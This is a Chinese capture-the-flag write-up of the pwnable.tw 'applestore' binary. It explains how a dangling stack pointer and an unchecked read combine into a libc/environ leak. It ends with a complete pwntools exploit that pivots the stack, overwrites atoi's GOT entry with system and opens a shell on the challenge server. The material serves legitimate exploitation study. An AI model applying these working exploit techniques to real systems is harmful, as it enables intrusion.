applestore 是个特别好的题,之前做的几个题漏洞都是在单个函数里的,而这个题的漏洞,是得从几个函数的小问题拼凑出来而得到利用流程的
分析文章见如下两篇参考链接
https://www.jianshu.com/p/0e34833aecae
https://xuanxuanblingbling.github.io/ctf/pwn/2020/03/06/applestore/
建议:先自己分析程序,思考,再参考第二个链接,看图,再思考,然后结合一和二写 exp
思路:构造 BOOM!到泄露信息,再到提权
[Asm] 纯文本查看 复制代码 file applestore
applestore: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=35f3890fc458c22154fbc1d65e9108a6c8738111, not stripped
checksec
applestore
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
分析 main 中各个子函数,最有趣的就是 checkout 函数,里面有个 7174 的判断
[C] 纯文本查看 复制代码 if ( v1 == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(v2, "%s", "iPhone 8");
v2[1] = (char *)1;
insert((int)v2);
v1 = 7175;
}
需要购物车的所有东西总价是 7174,那么就整个暴力跑,发现 6 个 1 和 20 个 2 可以(还有很多可以,但无所谓就行),写个 py 暴力找
[Python] 纯文本查看 复制代码 a = int(7174 / 199) + 1
b = int(7174 / 199) + 1
c = int(7174 / 199) + 1
d = int(7174 / 199) + 1
for i1 in range(a):
for i2 in range(b):
for i3 in range(c):
for i4 in range(d):
if (i1 * 199 + i2 * 299 + i3 * 499 + i4 * 399 == 7174):
print (i1, i2, i3, i4)
很好玩的功能是,checkout 函数会调用 cart 函数
[Asm] 纯文本查看 复制代码 break checkout
pwndbg> stack 40
00:0000│ esp 0xffdcd6b0 —▸ 0xf7ebdc40 (_nl_global_locale) —▸ 0xf7ebba60 (_nl_C_LC_CTYPE) —▸ 0xf7e64c84 (_nl_C_name) ◂— inc ebx /* 'C' */
01:0004│ 0xffdcd6b4 ◂— 0x0
02:0008│ 0xffdcd6b8 —▸ 0xf7ebd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
03:000c│ 0xffdcd6bc —▸ 0x80487c0 (my_read+39) ◂— mov dword ptr [ebp - 0xc], eax
04:0010│ 0xffdcd6c0 ◂— 0x0
05:0014│ 0xffdcd6c4 —▸ 0xffdcd706 ◂— 0x65000a35 /* '5\n' */
06:0018│ 0xffdcd6c8 —▸ 0xf7d17545 (strtol+5) ◂— add eax, 0x1a5abb
07:001c│ 0xffdcd6cc —▸ 0xf7d13d20 (atoi+16) ◂— add esp, 0x1c
08:0020│ 0xffdcd6d0 —▸ 0xffdcd706 ◂— 0x65000a35 /* '5\n' */
09:0024│ 0xffdcd6d4 ◂— 0x0
0a:0028│ 0xffdcd6d8 ◂— 0xa /* '\n' */
0b:002c│ 0xffdcd6dc ◂— 0x2
0c:0030│ 0xffdcd6e0 —▸ 0xf7ebd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
0d:0034│ 0xffdcd6e4 ◂— 0x0
0e:0038│ ebp 0xffdcd6e8 —▸ 0xffdcd728 —▸ 0xffdcd748 ◂— 0x0
0f:003c│ 0xffdcd6ec —▸ 0x8048c54 (handler+129) ◂— jmp 0x8048c63
10:0040│ 0xffdcd6f0 —▸ 0xffdcd706 ◂— 0x65000a35 /* '5\n' */
11:0044│ 0xffdcd6f4 ◂— 0x15
12:0048│ 0xffdcd6f8 —▸ 0xffdcd714 ◂— 0x6
13:004c│ 0xffdcd6fc —▸ 0xf7d36520 (printf) ◂— call 0xf7e1c409
14:0050│ 0xffdcd700 ◂— 0x5
15:0054│ 0xffdcd704 ◂— 0xa358940
16:0058│ 0xffdcd708 —▸ 0xf7d36500 (fprintf) ◂— sub esp, 0xc
17:005c│ 0xffdcd70c —▸ 0x80486f7 (menu+138) ◂— leave
18:0060│ 0xffdcd710 —▸ 0x8048e23 ◂— and eax, 0x45203a64 /* '%d: Exit\n' */
0f:003c│ 0xffdcd6ec —▸ 0x8048c54 (handler+129) ◂— jmp 0x8048c63
.text:08048C4F E8 E7 FE FF FF call checkout ; jumptable 08048C31 case 5
.text:08048C54 EB 0D jmp short loc_8048C63
根据 if 判断,需要往栈里添加数据
[Asm] 纯文本查看 复制代码 pwndbg> x/20i 0x8048b70
=> 0x8048b70 <checkout+53>: mov DWORD PTR [esp+0x8],0x8049013
0x8048b78 <checkout+61>: mov DWORD PTR [esp+0x4],0x8048ebe
0x8048b80 <checkout+69>: lea eax,[ebp-0x20]
0x8048b83 <checkout+72>: mov DWORD PTR [esp],eax
0x8048b86 <checkout+75>: call 0x8048550 <asprintf@plt>
0x8048b8b <checkout+80>: mov DWORD PTR [ebp-0x1c],0x1
0x8048b92 <checkout+87>: lea eax,[ebp-0x20]
0x8048b95 <checkout+90>: mov DWORD PTR [esp],eax
0x8048b98 <checkout+93>: call 0x8048835 <insert>
这是进了 if 的情况
pwndbg> stack 20
00:0000│ esp 0xffdcd6b0 —▸ 0x8049028 ◂— push edi /* 'Want to checkout? Maybe next time!' */
01:0004│ 0xffdcd6b4 ◂— 0x1c07
02:0008│ 0xffdcd6b8 —▸ 0x8049013 ◂— imul edx, dword ptr [eax + 0x68], 0x20656e6f /* 'iPhone 8' */
03:000c│ 0xffdcd6bc —▸ 0x80487c0 (my_read+39) ◂— mov dword ptr [ebp - 0xc], eax
04:0010│ 0xffdcd6c0 ◂— 0x1c07
05:0014│ 0xffdcd6c4 ◂— 0x1
06:0018│ 0xffdcd6c8 —▸ 0x8c69c00 ◂— 'iPhone 8'
07:001c│ 0xffdcd6cc ◂— 0x1
08:0020│ 0xffdcd6d0 —▸ 0xffdcd706 ◂— 0x65000a35 /* '5\n' */
09:0024│ 0xffdcd6d4 —▸ 0x8c69bc0 —▸ 0x8c69be0 ◂— 'iPhone 6 Plus'
0a:0028│ 0xffdcd6d8 ◂— 0xa /* '\n' */
0b:002c│ 0xffdcd6dc ◂— 0xe6851300
0c:0030│ 0xffdcd6e0 —▸ 0xf7ebd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
0d:0034│ 0xffdcd6e4 ◂— 0x0
0e:0038│ ebp 0xffdcd6e8 —▸ 0xffdcd728 —▸ 0xffdcd748 ◂— 0x0
0f:003c│ 0xffdcd6ec —▸ 0x8048c54 (handler+129) ◂— jmp 0x8048c63
这是没进 if 的情况
pwndbg> stack 20
00:0000│ esp 0xffb740c0 —▸ 0x8049028 ◂— push edi /* 'Want to checkout? Maybe next time!' */
01:0004│ 0xffb740c4 ◂— 0x175c
02:0008│ 0xffb740c8 —▸ 0xf7f32000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
03:000c│ 0xffb740cc —▸ 0x80487c0 (my_read+39) ◂— mov dword ptr [ebp - 0xc], eax
04:0010│ 0xffb740d0 ◂— 0x175c
05:0014│ 0xffb740d4 ◂— 0x1
06:0018│ 0xffb740d8 —▸ 0xf7d8c545 (strtol+5) ◂— add eax, 0x1a5abb
07:001c│ 0xffb740dc —▸ 0xf7d88d20 (atoi+16) ◂— add esp, 0x1c
08:0020│ 0xffb740e0 —▸ 0xffb74116 ◂— 0xb5000a35 /* '5\n' */
09:0024│ 0xffb740e4 ◂— 0x0
0a:0028│ 0xffb740e8 ◂— 0xa /* '\n' */
0b:002c│ 0xffb740ec ◂— 0x518f3f00
0c:0030│ 0xffb740f0 —▸ 0xf7f32000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
0d:0034│ 0xffb740f4 ◂— 0x0
0e:0038│ ebp 0xffb740f8 —▸ 0xffb74138 —▸ 0xffb74158 ◂— 0x0
0f:003c│ 0xffb740fc —▸ 0x8048c54 (handler+129) ◂— jmp 0x8048c63
由于 main 可以调用 checkout(),也可以调用 cart()
问题点在于,checkout() 添加的 iphone 8 的字符串地址保存在栈上,但是 cart() 函数也可以操作栈
cart函数的反汇编如下
[C] 纯文本查看 复制代码 int cart(){
char buf[22]; // [esp+26h] [ebp-22h] BYREF
my_read(buf, 0x15u);
if ( buf[0] == 'y' ){
…
}
}
可以看到 buf 字符串最多可以读取 0x15 字节,而只检查首字符 y
checkout 函数如下
[Asm] 纯文本查看 复制代码 unsigned int checkout(){
char *v2[5]; // [esp+18h] [ebp-20h] BYREF
asprintf(v2, "%s", "iPhone 8");
v2[1] = (char *)1;
}
所以思路是:利用 6 个 1 和 20 个 2,构造出 7174,在栈上写出 "iphone 8" 的字符串,然后,利用 cart() 函数和 read() 函数的不检查
把 phone8 的字符串地址修改成我们想要的函数地址,然后造成信息泄露
信息泄露部分:可泄露 puts 函数地址以及 heap 地址等信息
[Asm] 纯文本查看 复制代码 .bss:0804B070 ?? ?? ?? ?? dword_804B070 dd ? ; DATA XREF: delete+18↑r
.bss:0804B070 ; cart+61↑r
根据 cart 函数
for ( i = dword_804B070; i; i = *(_DWORD *)(i + 8) )
{
v0 = v2++;
printf("%d: %s - $%d\n", v0, *(const char **)i, *(_DWORD *)(i + 4));
v3 += *(_DWORD *)(i + 4);
}
dword_804B070 地址处存放的是 iphone6 字符串,该地址位于堆上
这里我自己调试的时候,本地的 libc 打印第 27 和第 28 个购物车中的物品
第 27 个可以打印出来,第 28 个不对,需要打印两次,而且本地堆的偏移和参考 exp 的不一样
本地堆的偏移值是 0x570
根据前面说的漏洞,可以用任何一个 got 表中的函数去泄露出 system 函数地址
调试一下就是两个细节点:
1、得用 system 的地址,覆盖到 atoi 的 got 表地址
2、修改 ebp,使用栈迁移的方法,把假栈布置到 atoi 的 got 表附近,这附近可写
这里需要补充一个知识点:environ
参考链接:
https://blog.csdn.net/weixin_43519514/article/details/105224172
在 linux C 中,environ 是一个全局变量,它存储着系统的环境变量,一般是指:操作系统中用来制定操作系统运行环境的一些参数,具有某些特殊用途,在系统当中通常具有全局性,可以被子进程继承下去
我们根据链接中的代码,可以发现 environ 是个很有用的东西,既和 libc 相关,也和当前系统环境相关
exp 思路:
利用 7174,得到一个特价的 iphone 8,这个字符串是写到栈上的。由于栈上的值是不清理的,所以下次再进入这个栈,是可以覆盖写入 iphone8 这个指针的,达成地址泄露
地址泄露后,可以计算出 environment 和 libc 地址
再次构造漏洞,栈迁移,就可以把 system 地址覆盖到 atoi 函数的 got 表地址
exp 如下:
[Python] 纯文本查看 复制代码 from pwn import *
debug = 0
online = 1
#context(log_level = "debug", arch = 'i386', os = "linux")
context(arch = 'i386', os = "linux")
elf = ELF("./applestore")
if online == 0:
io = process("./applestore")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
io = remote("chall.pwnable.tw", 10104)
libc = ELF("./libc_32.so.6")
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True: io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info("\033[1;31;40m %s --> 0x%x \033[0m" % (s, addr))
uu32 = lambda data : u32(data.ljust(4, "\x00"))
uu64 = lambda data : u64(data.ljust(8, "\x00"))
def AddRemove(options, data):
ru("> ")
sl(options)
ru("Number> ")
sl(data)
def List(data):
ru("> ")
sl("4")
ru(" > ")
sl(data)
def checkout():
ru("> ")
sl("5")
ru(" > ")
sl("y")
'''
#Add 2; Remove 3
'''
for i in range(6):
AddRemove("2", "1")
for i in range(20):
AddRemove("2", "2")
checkout()
atoi_got_addr = elf.got["atoi"]
payload = b"y\x00" + p32(atoi_got_addr) + p32(0) + p32(0) + p32(0)
List(payload)
ru("27: ")
atoi_addr = u32(ru("\n")[:4])
system_addr = atoi_addr - libc.symbols["atoi"] + libc.symbols["system"]
log.warn("atoi_got_addr = " + hex(atoi_got_addr))
log.warn("atoi_addr = " + hex(atoi_addr))
log.warn("system_addr = " + hex(system_addr))
environ_bss_addr = atoi_addr - libc.symbols["atoi"] + libc.symbols["environ"]
payload = b"y\x00" + p32(environ_bss_addr) + p32(0) + p32(0) + p32(0)
List(payload)
ru("27: ")
environ_addr = u32(ru("\n")[:4])
log.warn("environ_addr = " + hex(environ_addr))
ebp_addr = environ_addr - 0x104
ebp_new_addr = ebp_addr - 0x8
#gdb.attach(io, "b *0x8048A03")
ru("> ")
sl("3")
ru("> ")
sl(b"27" + p32(0) * 2 + p32(atoi_got_addr + 0x22) + p32(ebp_new_addr))
ru("> ")
sl(p32(system_addr) + b";/bin/sh\x00")
io.interactive()
|